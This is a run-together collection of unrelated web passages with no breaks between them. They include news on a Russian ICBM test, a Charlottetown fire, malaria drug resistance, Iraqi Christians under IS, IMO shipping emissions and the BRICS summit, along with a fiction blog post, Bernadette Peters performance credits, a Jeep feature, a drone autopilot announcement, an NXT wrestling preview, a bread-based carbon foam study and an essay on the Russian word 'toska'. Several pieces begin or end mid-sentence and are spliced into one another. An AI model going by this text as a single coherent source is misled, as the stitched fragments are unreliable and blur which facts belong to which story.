In the twilight of an otherwise ordinary Thursday evening, emergency lines -- and Twitter feeds -- lit up across the Middle East and Caspian regions with reports of a mysterious object traveling across the night sky.Over the next few hours, conjecture-laden tweets ( #mideastUFO ) poured in from Jordan, Syria, Lebanon, Armenia, Azerbaijan, and Russia as to what the cone-shaped light was.YouTube users claiming to be in Syria uploaded grainy video of the flying object (below), and the speculation began.As more images and videos poured in, a general consensus formed that the light was a missile of some sort. At 1:43 AM Moscow time the guesswork came to a grinding halt as the "Voice of Russia" reported that the Russian military had successfully tested a Topol class intercontinental ballistic missile (ICBM). The test missile was(map here ) missile test field in the central part on the country.According to RFE/RL's Merhat Sharipzhanov, |
ba Bray'sbecause it is likePATIENT FRIEND: There is a lady in a corset on the front.SARAH: Um yes. Well likeif Harry Potter, Draco Malfoy, Blaise Zabini and Neville Longbottom were all girls living in the 1800s and wearing corsets and having illicit midnight swims and trysts with gypsies and going to school.PATIENT FRIEND:... Magic school?SARAH: No.PATIENT FRIEND: This does not sound like Harry Potter AT ALL.SARAH: Well, there IS magic in it.I believe I have strayed from my point, though I like how I've strayed since it brought upwhich features lots of awesome girls, and awesome female friendships, and never any fighting over a guy. My point is, I'd like to watch a show with two attractive brothers and a focus on horror movie examples of the week mixed in with a road trip through America. Who wouldn't? But I can't enjoy something without ladies in it.It makes me feel icky: it makes me think the people who made the show don't like ladies, or the people who enjoy the show don't like them. And I don't think either of those things are true: probably people don't want to get girls wrong, because it's easy to get girls wrong, or they just kind of overlooked it, because it's easy to do that.And I don't mean to pick onespecially here: it is just an example. There are a lot of shows, and movies, and books like it, and I mostly don't enjoy them. I've kind of given up on detective noir because I've seen women float through it, be evil or killed or both, and never stick. Women being evil or killed or both is why I didn't much like the movie, which lots of my friends like: which is a very good movie.My point is, people will enjoy books and movies and shows more if ladies are in them being awesome. (I know I will.) And people will enjoy them more if they maybe take a step back, examine their prejudices, and relax into accepting that they're awesome. Even if some girl characters are missteps, even if some of them you just will never personally like because tastes are subjective, it's worth doing to have them, and it's worth trying to love them.The femme fatales, the ninja ladies, the shy girls, the chatterboxes, the ones several guys wanted, the ones none of the guys wanted, the heroines, the sassy sidekicks, the girl the hero fell in love with in one episode we never saw again, the girl who wanted a guy she didn't get, the girl who was with a ton of different guys, the girl who was devoted to her job, the girl who was into other ladies, the murder victim, the tomboy, the feisty redhead, the dumb blonde. There was never anything wrong with any of them.It's worth it to recognise that we're all okay. We were always okay.Police in Charlottetown won't be releasing the identities of three people found dead after a vacant building fire until autopsies are complete and next of kin have time to notify all family members.
Deputy Chief Gary McGuigan said it's hoped the autopsies will shed more light on how the victims died and that officers plan to travel to Halifax to interview a fourth person who survived and was airlifted to hospital.
McGuigan said there are plenty of "rumours" floating around on social media, but it would "reckless" to identify the victims based on that. He did say police have been speaking with next of kin.
"It’s a real tragedy," McGuigan said. "We’ve lost three people here. It’s devastating for the community. I don't think things are going to to get any better as it plays out and we try and make some sense of this tragedy."
Fire investigators are piecing together how the blaze started Saturday morning in the building on Mount Edward Road, but officials said poor weather could delay efforts to determine the cause.
A Charlottetown police officer spotted the fire around 5:30 a.m. Saturday after finding an injured male outside the building. The officer was told there were people inside.
He tried to go in, but was pushed back by flames and heavy smoke. Firefighters found the three bodies inside.
Charlottetown police officers will be sent to Nova Scotia to interview the male who was injured and then airlifted to hospital in Halifax.
The building lies on land once used as a driving range and car dealership. The property backs onto Charlottetown Mall and is slated to be redeveloped.
Neighbours say young people sometimes use the building as a hangout. The windows were boarded up last year after vandalism at the site.2014 The Olivier Awards 2014 (TV Special) (performer: "Losing My Mind")
(TV Special) (performer: "Losing My Mind")
2013 Six by Sondheim (TV Movie documentary) (performer: "Sunday")
(TV Movie documentary) (performer: "Sunday")
2011 Coming Up Roses (performer: "Someone You Care For")
(performer: "Someone You Care For")
2005 The 59th Annual Tony Awards (TV Special) (performer: "Another Op'nin' Another Show")
(TV Special) (performer: "Another Op'nin' Another Show")
2003 The 57th Annual Tony Awards (TV Special) (performer: "Rose's Turn")
(TV Special) (performer: "Rose's Turn")
2002 The 56th Annual Tony Awards (TV Special) (performer: "It's a Grand Night for Singing", "New York, New York", "Lullaby of Broadway", "Fugue for Tinhorns", "Heart", "Don't Rain on My Parade", "Broadway Baby", "America")
(TV Special) (performer: "It's a Grand Night for Singing", "New York, New York", "Lullaby of Broadway", "Fugue for Tinhorns", "Heart", "Don't Rain on My Parade", "Broadway Baby", "America")
1999 Animaniacs: Wakko's Wish (Video) (performer: "So Much for Wakko's Ha' Penny")
(Video) (performer: "So Much for Wakko's Ha' Penny")
1999 The 53rd Annual Tony Awards (TV Special) (performer: "There's No Business Like Show Business", "I Got the Sun in the Morning", "Hoedown", "Old-Fashioned Wedding")
(TV Special) (performer: "There's No Business Like Show Business", "I Got the Sun in the Morning", "Hoedown", "Old-Fashioned Wedding")
1998 Bernadette Peters in Concert (TV Movie) (performer: "The Gold Diggers' Song (We're in the Money)", "Pennies from Heaven", "Broadway Baby", "No One Is Alone", "Sooner or Later", "Unexpected Song", "Faithless Love", "Time Heals Everything", "Raining in My Heart", "Some People", "Johanna", "Happiness", "Hello, Little Girl", "Any Moment", "Later", "You Could Drive a Person Crazy", "Not a Day Goes By", "Being Alive", "With So Little to Be Sure Of", "Children Will Listen", "Move On", "I'll Be Seeing You", "My Romance", "Just the Way You Look Tonight" - uncredited)
(TV Movie) (performer: "The Gold Diggers' Song (We're in the Money)", "Pennies from Heaven", "Broadway Baby", "No One Is Alone", "Sooner or Later", "Unexpected Song", "Faithless Love", "Time Heals Everything", "Raining in My Heart", "Some People", "Johanna", "Happiness", "Hello, Little Girl", "Any Moment", "Later", "You Could Drive a Person Crazy", "Not a Day Goes By", "Being Alive", "With So Little to Be Sure Of", "Children Will Listen", "Move On", "I'll Be Seeing You", "My Romance", "Just the Way You Look Tonight" - uncredited)
1998 Barney's Great Adventure (performer: "Barney - The Song", "Barney - The Song (Reprise)")
(performer: "Barney - The Song", "Barney - The Song (Reprise)")
1997 The Magical Journey of 'Anastasia' (Video documentary short) (performer: "Paris Holds the Key (To Your Heart)")
(Video documentary short) (performer: "Paris Holds the Key (To Your Heart)")
1997 Anastasia (performer: "Paris Holds the Key (To Your Heart)")
(performer: "Paris Holds the Key (To Your Heart)")
1997 Beauty and the Beast: The Enchanted Christmas (Video) (performer: "Deck the Halls", "As Long As There's Christmas", "As Long As There's Christmas (Reprise)")
(Video) (performer: "Deck the Halls", "As Long As There's Christmas", "As Long As There's Christmas (Reprise)")
1997 The 53rd Presidential Inaugural Gala: An American Journey (TV Special) (performer: "These Are The Good Times")
(TV Special) (performer: "These Are The Good Times")
1996 The 50th Annual Tony Awards (TV Special) (performer: "The Show Must Go On")
(TV Special) (performer: "The Show Must Go On")
1996 AFI Life Achievement Award: A Tribute to Steven Spielberg (TV Special documentary) (performer: "When You Wish Upon a Star")
(TV Special documentary) (performer: "When You Wish Upon a Star")
1994 The 66th Annual Academy Awards (TV Special) (performer: "Putting It Together" (Opening number))
(TV Special) (performer: "Putting It Together" (Opening number))
1993 The 47th Annual Tony Awards (TV Special) (performer: "Paula")
(TV Special) (performer: "Paula")
1987 The 41st Annual Tony Awards (TV Special) (performer: "Time Heals Everything")
(TV Special) (performer: "Time Heals Everything")
1987 The 59th Annual Academy Awards (TV Special) (performer: "Lost In a Movie")
(TV Special) (performer: "Lost In a Movie")
1986 The 40th Annual Tony Awards (TV Special) (performer: "Some People", "Unexpected Song")
(TV Special) (performer: "Some People", "Unexpected Song")
1984 The 38th Annual Tony Awards (TV Special) (performer: "Sunday", "Time Heals Everything")
(TV Special) (performer: "Sunday", "Time Heals Everything")
1983 George Burns Celebrates 80 Years in Show Business (TV Special) (performer: "If You Were The Only Boy")
(TV Special) (performer: "If You Were The Only Boy")
1982 George Burns and Other Sex Symbols (TV Special) (performer: "Wake Up and Live")
(TV Special) (performer: "Wake Up and Live")
1982 Annie (performer: "Easy Street" - uncredited)
(performer: "Easy Street" - uncredited)
1981 Pennies from Heaven ("I Want to Be Bad" (1929), "Life Is Just a Bowl of Cherries" (1931)) / (performer: "Did You Ever See a Dream Walking?" (1933), "Love Is Good for Anything That Ails You" (1937), "Let's Face the Music and Dance" (1936), "The Glory of Love" (1936) (uncredited), "Singin in the Rain" (1929) (uncredited))
("I Want to Be Bad" (1929), "Life Is Just a Bowl of Cherries" (1931)) / (performer: "Did You Ever See a Dream Walking?" (1933), "Love Is Good for Anything That Ails You" (1937), "Let's Face the Music and Dance" (1936), "The Glory of Love" (1936) (uncredited), "Singin in the Rain" (1929) (uncredited))
1979 The Jerk (performer: "You Belong To Me")
(performer: "You Belong To Me")
1979 Musical Comedy Tonight (TV Movie documentary) (performer: "Barcelona")
(TV Movie documentary) (performer: "Barcelona")
1978 The Magic of David Copperfield (TV Special) ("(Your Love Keeps Lifting Me) Higher and Higher")
(TV Special) ("(Your Love Keeps Lifting Me) Higher and Higher")
1977 The Beatles Forever (TV Special) (performer: "All My Loving", "Something", "Day Tripper", "She's Leaving Home")
(TV Special) (performer: "All My Loving", "Something", "Day Tripper", "She's Leaving Home")
1976 Silent Movie (performer: "Brazil" - uncredited)
(performer: "Brazil" - uncredited)
1976 The 48th Annual Academy Awards (TV Special) (performer: "How Lucky Can You Get")
(TV Special) (performer: "How Lucky Can You Get")Have you ever used a small paint brush to clean out the small crevasses in your dash and air vents? I’m not ashamed to admit, I have. It’s an old car detailer trick I learned in high school. Is it a little silly to do on vehicle that goes off-road? I often ask myself that question, usually after I wrap up detailing the inside of the vehicle!
As much as I enjoy playing in the dirt, I’m not one to parade my rig around town covered in mud. The wheeling experience is far more important than the recognition of doing so. Typically, most wheelers I know couldn’t care less about having a shiny rig that they are only going to get dirty the next weekend. I wish I could be that way, but it’s not in my DNA to let things stay dirty.
The coilover and bypass shocks on my last JK were worth more than my motorcycle. So, yeah, I cleaned those with a can of WD-40 and a rag as well. I stand by the old adage of if you take care of a vehicle, it will take care of you. But I digress.
Phillip Rice’s ’92 Jeep Wrangler YJ you see here is an excellent example of what a little time, care, and elbow grease can do to rig that’s over twenty-years old. As I was crawling around it, I was astonished at how clean the Jeep was. Under the hood, the transplanted small-block V-8 looked like something you’d see in a resto-mod hot rod at a car show. The frame was nearly perfect and suspension all appeared brand new.
By his own admission, he didn’t do any hardcore wheeling with it. A few trips beach trips summed up most of the Jeep’s off-road history. Since I shot these photos, I’ve learned that YJ now has a new home. I don’t know if the rig will stay in North Carolina, or if the owner plans to take full advantage of the 383ci stroker or 12-inch-travel King coilovers. I’m sure part of the allure of the sale was the condition of the Jeep. While I still have trouble thinking of a Jeep as a “show” piece, I can absolutely appreciate the care that has gone into keeping it in such great shape.Image copyright SPL Image caption Malaria is spread by mosquitoes
Resistance to the drug that has saved millions of lives from malaria has been detected over a wider area than previously thought, scientists warn.
The ability of the malaria parasite to shrug off the effects of artemisinin has been spreading since it emerged in South East Asia.
Tests, published in Lancet Infectious Diseases, now show this resistance on the verge of entering India.
Experts said the development was "alarming" and an "enormous threat".
Deaths from malaria have nearly halved since 2000, and the infection now kills about 584,000 people each year.
But resistance to artemisinin threatens to undo all that hard work, and it has been detected in:
Cambodia
Laos
Thailand
Vietnam
Myanmar, also known as Burma
Blood samples from 940 people with malaria from 55 sites across Myanmar showed this resistance was widespread across the country.
One site, in the Sagaing region, showed that resistant parasites were just 25km (15 miles) from the Indian border.
'Clear threat'
One of the researchers, Dr Charles Woodrow, from the Mahidol-Oxford Tropical Medicine Research Unit, in Thailand, told the BBC News website: "We can see artemisinin resistance is clearly present quite close to the Indian border, that's clearly a threat and in the future is likely to lead to extension of the problem to neighbouring areas."
Artemisinin is normally given as part of combination therapy.
Initially the other drug will pick up the slack to keep the combination effective, but Dr Woodrow says this resistance will "inevitably" lead to it failing.
"If this were to spread into India, malaria will continue to affect rural populations there, but there may not be an immediate effect on cure-rate," he said.
"But beyond the short term, there is very likely to be a problem, and there are very few [other] drugs on the table."
Image copyright SPL Image caption Malaria parasites inside a red blood cell
History lesson
This has all happened before.
Chloroquine probably saved hundreds of millions of lives, but resistance was discovered in 1957 around the border between Cambodia and Thailand.
Resistance spread around the world and reached Africa 17 years later.
There is no evidence of artemisinin resistance in Africa yet, although there is concern that history is about to repeat itself with deadly consequences.
Dr Woodrow told the BBC: "The evidence from the global spread of chloroquine resistance is this translates to a large increase in the number of cases and a higher number of deaths."
Why South East Asia?
South East Asia has been implicated in the rise of resistance to both chloroquine and artemisinin.
The main explanation is that lower levels of natural malaria immunity exist in the region than in Africa.
With no background resistance, the drugs have to do all the work in infected patients in South East Asia.
But there are far more cases of malaria in Africa, and repeat infection is common so people there develop some immunity.
It means the natural immune system and the drug share the load of fighting off malaria.
This makes South East Asia a riper region for the parasite to develop resistance.
Prof Philippe Guerin, the director of the Worldwide Antimalarial Resistance Network, said: "This study highlights that the pace at which artemisinin resistance is spreading or emerging is alarming.
"We need a more vigorous international effort to address this issue in border regions."
Prof Mike Turner, the head of infection and immunobiology at the Wellcome Trust medical charity, said: "The new research shows that history is repeating itself, with parasites resistant to artemisinin drugs, the mainstay of modern malaria treatment, now widespread in Myanmar.
"We are facing the imminent threat of resistance spreading into India, with thousands of lives at risk."Emlid is proud to announce Navio2 - the new version of Navio autopilot.
Navio was the first Raspberry Pi based autopilot and grew up to become the main Linux APM platform. With Navio APM flight stack runs directly on Raspberry Pi under real-time Linux kernel. Compared to classic microcontroller-based autopilots this gives more CPU and memory resources as well as incredible Linux networking capabilities.
With Navio you can connect an LTE modem or high-power WiFi to obtain full network access to the autopilot. Stream video from Raspberry Pi camera, download photos or run your software alongside the APM.
We have listened closely to our community and included numerous improvements in Navio2.
New features in Navio2:
Dual IMU. We’ve added second IMU chip to improve flight experience and for redundancy.
Advanced power circuitry. Triple ideal diode or-ing scheme was already present on Navio+, but Navio2 also features overvoltage and overcurrent protection circuitry on the power module port to protect both the board and your Raspberry Pi.
Improved MS5611 performance. Transactions from other chips on the bus, which MS5611 is connected to, can produce noise during the conversion. We left MS5611 the only sensor on the I2C bus to overcome this.
PCA9685 PWM generator replaced with a microcontroller. On previous Navio version PWM generation was handled by PCA9685 chip. Main limitation of this chip is the inability to control frequencies for separate channels. This lead to problems with motors and servos that work on different frequencies. To eliminate that problem we used a microcontroller that allows to set frequencies for output channels by groups.
PPM\SBUS decoding done by microcontroller instead of DMA. On Navio+ we used DMA to sample PPM signal which was quite heavy on system resources. On Navio2 a microcontroller handles PPM\SBUS sampling leaving processor cores of Raspberry Pi 2 for your tasks.
AUX SPI. Navio2 is the first HAT to utilize AUX SPI controller on Raspberry Pi. Using two SPI controllers allows us to distribute sensors more efficiently. Having twice the bandwidth of other Raspberry Pi based solutions, we are managing to move more data at a greater speed.
ADC port. Using additional ADC channels on Navio+ was not user friendly due to ADC channels being only available on pads at the bottom of the board. On Navio2 these channels are easily accessible on a DF13 port.
Better Linux integration. PWM, ADC, SBUS and PPM are integrated in Linux sysfs allowing for easy access from any programming language. Even deeper integration is coming in the future.
Other small changes:
Right angle servo header
RGB LED position in the board center for better LED visibility
Pulled up pins in UART port to allow easy 3DR Radio connection
Nylon screws in the package to avoid magnetic interference
Camera cable cutout
PWM channels are protected by ESD clamps
All these new features come at the same price and Navio2 is also available with 30% edu discount.
You can find more information and order Navio2 at emlid.com.
Best regards,
Emlid team'Skippy' the kangaroo joined the race on the far turn.....and soon bolted to the outside rail
Here's something that you don't normally see at the races – a kangaroo joining the field of runners during a race.
The incident occurred during the running of a 10-furlong contest at Cessnock Racecourse in New South Wales, Australia. As the Racing Post reports, the horses and riders “got more than they bargained for” as a kangaroo joined the field at the midway point of the race.
After hopping along the inside rail for several strides, the kangaroo suddenly took a sharp left turn and swerved in front of several of the horses. Although some of the horses and riders had to take up to avoid hitting 'Skippy', as he was dubbed, everyone finished the race and came home safely.
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Copyright © 2019 Paulick Report.ARBIL (IRAQ) (AFP) – They were threatened, forced to spit on a crucifix or convert to Islam, but a handful of Iraqi Christians miraculously survived more than two years under Islamic State group rule.
When the jihadists swept across the Nineveh Plain in northern Iraq in August 2014 and told Christians to convert, pay tax, leave or die, around 120,000 of them fled.
Now that Iraqi forces have retaken many of those areas around the city of Mosul, stories are emerging of those who did not get a chance to leave and faced one of the three other options.
Ismail Matti was 14 when IS militants stormed his hometown of Bartalla, east of Mosul.
He waited for relatives who had already fled to come back for him and his sick mother, Jandar Nasi, but nobody did.
They tried to flee in taxis but were turned around twice by IS and ended up in a Mosul prison.
“There were Shiite people crammed in a cell next to ours — they took one, shot him in the head and dragged his body in front of us,” he said.
“They told my mother the same thing would happen to me if we refused to convert. So we converted,” Ismail recounted from a church-run shelter in the Kurdish capital Arbil.
The pair went back to Bartalla and were then sent to the village of Shurikhan, on the western outskirts of Mosul.
“All our neighbours were Daesh,” he said, using an Arab acronym for IS. “They would come to check if I was following the sharia (Islamic law).”
– Reign of terror –
“If they found that I hadn’t been to the mosque to pray, I sometimes got lashes,” Ismail said.
He suffered the same fate in their next temporary home in Bazwaya, east of Mosul.
Ismail would sometimes get food from friendly residents but his mother never left the house.
Jandar, who suffers from chronic migraines, was reluctant to tell their story as she sat quietly on a bed in the Arbil shelter.
Her dark, haunted gaze sometimes suddenly changed into a broad, loving smile directed at her son, as he recounted their odyssey under IS’s reign of terror.
“This boy is the most beautiful gift ever. He and God and Mary saved us from death. We will always be together,” she said.
Zarifa Bakoos Daddo stayed in Qaraqosh, once Iraq’s largest Christian town, with her sick 90-year-old husband when IS vehicles hurtled in.
“On a Wednesday, his condition worsened, we took him to hospital. On the Thursday he was dead,” said Zarifa, a 77-year-old with gnarled hands and decaying teeth.
She lived through more than two years of IS occupation of Qaraqosh in a house with her elderly friend Badriya.
“All that time I stayed with Badriya, we didn’t see any of our people, only those fellows,” Zarifa said of the IS militants.
“They would bring us food occasionally, leaving it at the door,” she said.
“The older men used to tell us not to worry, that we were like sisters to them, but the younger ones were troublesome.”
– Told to convert –
They were briefly taken to a prison in Mosul and held there with divorced women and widows, but eventually brought back to their house in Qaraqosh.
“One day, one of them came asking for money and gold. He poked his rifle into my ribs and said ‘You have to give to us’,” she said.
Zarifa handed over the $300 she had and Badriya gave some 15-carat gold.
“One time, a young one, maybe 20 or 21, came and said we should convert. I told him we had our beliefs and they had theirs,” she recalled.
“He told me to spit on a picture of the Virgin Mary and a crucifix. I refused but he made me. The whole time I was telling God in my heart that I did not mean any of this,” she said.
“I knew God heard me because he tried to burn the picture and his lighter didn’t work,” she said, to laughter from her family in their Arbil home.
When Iraqi forces pushed into Qaraqosh late last month, she remained trapped in the house with Badriya and no food.
The security forces found them several days after retaking the town.
“The whole time I prayed for my people, for the town, and also for these Daesh members, that God may open their hearts,” she said.
The illiterate widow, whose first language is a Syriac dialect, said the joy of being reunited with her relatives had already erased her suffering.
“My Arabic got better from being around them, so something came out of it, thank God.”Signup to receive a daily roundup of the top LGBT+ news stories from around the world
A moving advert has been released as part of a voter registration campaign ahead of next year’s referendum on equal marriage.
The Republic of Ireland, which introduced civil partnerships in 2011, is set to vote next May on extending civil marriage to same-sex couples, with early polls suggesting a landslide victory for equality.
However, referendums have a history of unpredictability in the country, due to a combination of low turnouts and powerful religious lobbies.
The Gay and Lesbian Equality Network, the Irish Council for Civil Liberties, and Marriage Equality Ireland have all joined together to launch the ‘Yes Equality’ campaign – which alongside LGBT charity BeLonG To launched its first ad targeted at young voters today.
Michael Barron of BeLonG To said: “We know that Ireland is ready for this change and that Irish young people really want a fair and equal society.
“Irish young people have always been agents for progressive change and today we are reaching out to all young adults aged 18-25 to say – this is your opportunity to create the society the you want – this is your generation’s decision.
“By registering to vote by 25th November and coming out to vote for civil marriage equality you will help our country turn over a new leaf and create the modern society that you deserve and can be proud of.”
BeLonG To chairperson Anna Quigley added: “Young people have a pivotal role to play in the forthcoming referendum and shaping the future of Irish society.
“However despite extremely positive polling results indicating a potential positive outcome in the referendum, we cannot be complacent.
“Our work starts here and now by ensuring that every young person is registered to vote next Spring, as without them we cannot win.”
Earlier this summer a group released a skit about the coming ‘apocalypse’ if same-sex marriage is passed in Ireland.
There are currently no plans to introduce same-sex marriage in Northern Ireland.
Voters in Ireland must register to vote by November 25 to be eligible to vote in next year’s equal marriage referendum.Countries are nearing agreement on how to tackle shipping’s carbon footprint, Kitack Lim tells industry conference, but resistance to a binding cap remains
By Megan Darby
“It is a miracle.” That is UN shipping chief Kitack Lim’s view of progress on talks in the last few years to cut the sector’s carbon footprint.
Speaking at an industry conference in London on Wednesday, he said members of the International Maritime Organization (IMO) were “getting closer” to agreement on the way forward.
“Next year really will be a time when the world will expect the IMO member states to deliver a vision, as a first stage in the IMO roadmap,” Lim said.
The UN body has three weeks of negotiations scheduled before its deadline for producing an interim climate strategy in 2018. A working group on the issue met for the first time in July.
In the first panel of the day, industry chiefs showed more engagement with the subject than in previous years, but remained wary of committing to significant carbon cuts.
Esben Poulsson, chair of the International Chamber of Shipping (ICS), said: “There is no doubt that CO2 is the big one now. At the ICS board, we spend a lot of time every meeting on this.”
Since an overwhelming majority of countries agreed to address greenhouse gas emissions within their borders under the Paris Agreement in 2015, international transport has been under pressure to do its bit.
In the IMO, a number of European and island states have been pushing for an ambitious emissions target. Without curbs, the industry predicts shipping emissions will grow 50-250% by 2050, in tandem with an increase in seaborne trade.
“We absolutely do need targets,” said Magda Kopczynska, director of maritime transport at the European Commission’s transport department. “We have to decide now what we are going to do; we can’t say: we will do something in 2030.”
Emerging economies, major flag states and industry voices are arguing against an absolute emissions cap, however, on the basis that it could constrict economic development.
As a compromise, four trade associations responsible for 90% of global trade have proposed cutting the intensity, rather than total, of their emissions in half by 2050. But climate analysts say the sector must improve efficiency 60-90% in that time to be in line with cut that would keep global temperature rise below 2C. To stay within the tougher 1.5C warming limit demanded by climate vulnerable communities, it must go carbon neutral.
Cutting emissions will require not only more fuel efficient components but a shift to run on hydrogen, biofuel or electric batteries. Slower speeds also make a big difference to fuel consumption.
“It is a huge challenge and one that is going to require everyone at the IMO to lift their game dramatically,” said John Maggs, campaigner with the Clean Shipping Coalition.
The first demonstration projects for zero carbon shipping are emerging, however. The world’s first electric car ferry is operating in Norway and technology firm Kongsberg Gruppe has announced plans to float a zero emissions container ship next year.
Sveinung Oftedal, official from Norway’s environment ministry and chair of the IMO working group, struck an upbeat note: “The solutions for emissions cuts are also growing and the willingness to take real action is more firm.”NXT is set to have there third special event on Thursday night on the WWE Network. On paper, this card does not live up to previous two. We will have the introduction of Kenta to NXT officially scheduled but also have Prince Devitt and Kevin Steen now as part of the mix at the performance center so who knows if we see them as well? We did see the participants in main event on Raw this past Monday. They seemed to get over pretty well with both the live audience and the viewing audience. Ole chants rang out on Raw for Sami Zayn and for once, the commentators did a great job of getting over all four guys in the match.Mojo Rawley vs. Bull DempseyI have no interest in this match at all. Mojo Rawley is a classic example of what the WWE thinks will draw compared to what the audience actually wants. Which is not Mojo with his lack of experience in the ring combined with his over enthusiastic character makes him annoying as hell to most and me. While Bull Dempsey is old school, wrestling gimmick is not a hit with me either. Some thought this gimmick would be great for Kevin Steen. It is a death sentence and nothing is great about it. Someone has to win the match that should be a boring yawn festival so I will go with Bull by default.Enzo Amore vs. Sylvester LeFortHas a babyface ever lost a haircut match in the history of wrestling? If they did, it was terrible booking of the highest order. Still despite this being, a very predictable outcome of this still should be a fun match. It is a big match for Enzo who has been out with injury for a long period and this is the first big match since his return from injury to his leg. LeFort knows about injuries himself; he as a result was booked as a manger in NXT when he debuted. Both have a lot to gain from a high profile match like this and it should be good. Enzo Amore will win but it will be all about the journey and post match haircut that makes or breaks this contest.The Ascension (c) vs. Kalisto & Sin CaraWe saw Kalisto with a different partner go against this team of The Ascension as he teams with Sin Cara who also is new under his mask from the original. The Ascension has long been rumoured to heading to the main roster. They did pop up this week on WWE Main Event so maybe finally they are off to the main roster. Does this mean that automatically means they will drop the titles? It could but I would not call it a lock at all at this point. I have never been a fan of The Ascension. They have size and an entrance as well as the support of the great NXT fans. Still for me, I see them as a team destined to flop on the main roster. I think they will retain the titles regardless of their status in terms of the main roster.Charlotte (c) vs. BayleyCharlotte Flair was able to capture the NXT Women’s Champion in a match with Natalya that many are calling one of the best women’s matches in years. Bayley up until getting this title opportunity was booked as a far less serious character that seemed to be geared at kids. She was a star struck fan girl but in the last month or so has been down played and she has been more serious in her actions. The reason for the change is to build her as serious contender. Some think Charlotte is going to be rushed to the main roster based on her fast improvement but also to give her father something to do on the main roster. Who knows if this is true but if it is they have set a precedent that would suggest she should lose if moving up to the main roster. Will see what happens but both women will have a huge mountain to climb to live up to Charlotte’s last match. I think Bayley is going go over here but not sure, if that is a good move to make.Adrian Neville (c) vs. Sami Zayn vs. Tyler Breeze vs. Tyson KiddLet’s start by saying this is easily the best match on the show with some of the best talent on the NXT roster currently. I also think you could make a compelling argument for all three challengers to win this match. I also feel that as a fan I am ready to see a change of this title and have methods to protect my baby face current champion. Sami Zayn has been chasing the title for a long time and has been the MVP performer on NXT since he arrived. The four-way gives him a way to win without turning his character. Tyson Kidd is doing a great job with his NXT heel run. He could certainly make a great champion. My choice to win this contest is however, Tyler Breeze who I think is deserving and is the best fit for the role. Breeze likely is not coming to the WWE roster with his current gimmick or at least should not. It is two similar to what The Miz is currently doing. I think he can really learn from a run as a heel champion as well. I still think regardless the title needs to change. We will see if in fact we get a new NXT champion on Thursday. How people view this show will be largely be based on this match. Nothing else on the card has a chance to challenge this match on paper for match of the night.I think this will be the greatest challenge in terms of one of these shows so far. The first two have created quite a short but great |
BRICS’s role and influence by inviting other countries, and make it more capable of creating a multi-polar world instead of one dominated by Western countries.China has invited five non-BRICS countries to attend the Xiamen summit but this will be a temporary arrangement limited to this summit. It’s a privilege of the host country. India, which held a summit in Goa last year, had invited several neighbouring countries, Wang said.Pakistan, regarded as China’s closest ally, is not among the five countries Beijing invited. These are Thailand, Egypt, Tajikistan, Mexico and Guinea, representing five different continents, that play a key role in China’s One Belt One Road (OBOR) programme that involves construction of transport networks across dozens of countries.China has been campaigning for the creation of a permanent BRICS Plus arrangement to enable non-BRICS countries to play an active role, sources said. BRICS had started off with four members and Beijing was instrumental in bringing in South Africa at a later stage. Critics say China wants to expand the BRICS mechanism as a means to garner wider influence for itself.“It’s in the interests of all sides to strengthen cooperation among emerging markets and developing countries through BRICS; therefore, China has proposed the BRICS plus concept based on past experiences,” Wang said.Modi announced his decision to attend the meeting after the two countries agreed to end the border standoff at Doklam near Sikkim but tensions between the two Himalayan neighbours has not evaporated. There are indications Beijing agreed to settle the dispute because it feared disruption of the conference if Modi decided to stay away.“What’s important is that we put these problems in the appropriate place, and appropriately handle and control them in the spirit of mutual respect and based on the consensus of both countries’ leaders,” Wang said. “There is huge potential for cooperation between China and India,” he said.Wang also said, “China stands ready to work with other BRICS countries to make BRICS cooperation bigger, stronger and more solid to benefit not only the five BRICS countries, but also the whole world.”"Multifunctional Stiff Carbon Foam Derived from Bread"
ACS Applied Materials & Interfaces
Sturdy, lightweight carbon foam has many structural and insulating applications in aerospace engineering, energy storage and temperature maintenance. Current methods to create this material run into difficulties when trying to make the product strong, lightweight, environmentally friendly and low-cost. Now, a group reports in ACS Applied Materials & Interfaces a method to produce such a carbon foam by using super-toasted bread.
Carbon foams have a 3-D network that allows them to be lightweight, tolerant of high temperatures and adjustable in their thermal and electrical properties. Many different materials, such as graphene sheets — 2-D layers of carbon atoms — and biomass such as banana peels can be used to make these foams, but they are not very stable, are costly to make or have varied inner structures that cannot be adjusted. So Yibin Li, Qingyu Peng and colleagues set out to develop a low-cost, green method to produce a strong, tunable carbon foam.
Using a bread recipe as a guide, the group began by mixing flour, yeast and water, then kneading and baking the dough. The researchers then used a laboratory tube furnace under argon gas conditions to carbonize the product into a hard foam. They tested the foam using several spectroscopy methods and found that it is mechanically stiff, can shield against electromagnetic interference and is much less flammable than current carbon foams. Importantly, this cheap, easy-to-make foam’s inner pore structure can be tuned by changing the amounts of yeast and water, which would allow it to be used for a variety of different applications.
The researchers acknowledge funding from the National Natural Science Foundation of China, the Ministry of Education of China, the Fundamental Research Funds for the Central Universities and the China Postdoctoral Science Foundation.Even with the combined might of Shakespeare, Dickens and Byron, the English language still has no equivalent for the Russian word ‘toska’, but what does the elusive word tell us about Russian culture?
For many that have studied the Russian language, one word, in particular, stands out as having a special, elusive, significance. It has been described as, at worst, “a sensation of great spiritual anguish” and, simultaneously, as “a dull ache of the soul, a longing with nothing to long for.” This was Vladimir Nabokov’s attempt at translating the untranslatable and even after years of trying, many students remain fascinated and intrigued by this linguistic thorn. The word in question? Тоска (toska).
The reason for this enduring interest—which goes way beyond the brow-crunching confusion of Russian having a word that English does not—is that it is so typical of the country itself and yet it resonates at a universal level as well. The feeling when it is first described to you is akin to empathising with a brilliant writer as they seek to convey a particular human emotion. In a way, ‘toska’ is a one-word poem.
There are a great many stereotypes about the Russian people that are predictably banal. One such killer is that Russian people never smile. This is, of course, ridiculous, but it is true that Russians do not associate a smile with being polite, and why should they? Why do we in Europe? There is a Russian saying which says that “laughter without reason is the sign of a fool.”
This brings us to another consideration about the word ‘toska’: it is symptomatic of the Russian culture of honesty that is visible on a daily basis. Should anyone approach you with a story about how rude a Russian waiter was to them, it is not impossible that they deserved it. Similarly, ask a Russian taxi-driver, “How are things?”, and note the suspicion on his face. It is not that this man is being rude, he is, instead, trying to understand how a stranger could possibly be interested in his personal life.
The conviction that ‘toska’ is a universal feeling that needs exploring led me to my Russian friends. I asked them two simple questions: “how would you define toska?” and “what would you say is it’s most appropriate synonym?” Initial reactions told me I was on to something, so I asked as many people as I could, not only in St Petersburg but also elsewhere in the country and abroad.
“An extreme spiritual disorder with manifestations that depend on the type of person you are.” Evgeniy
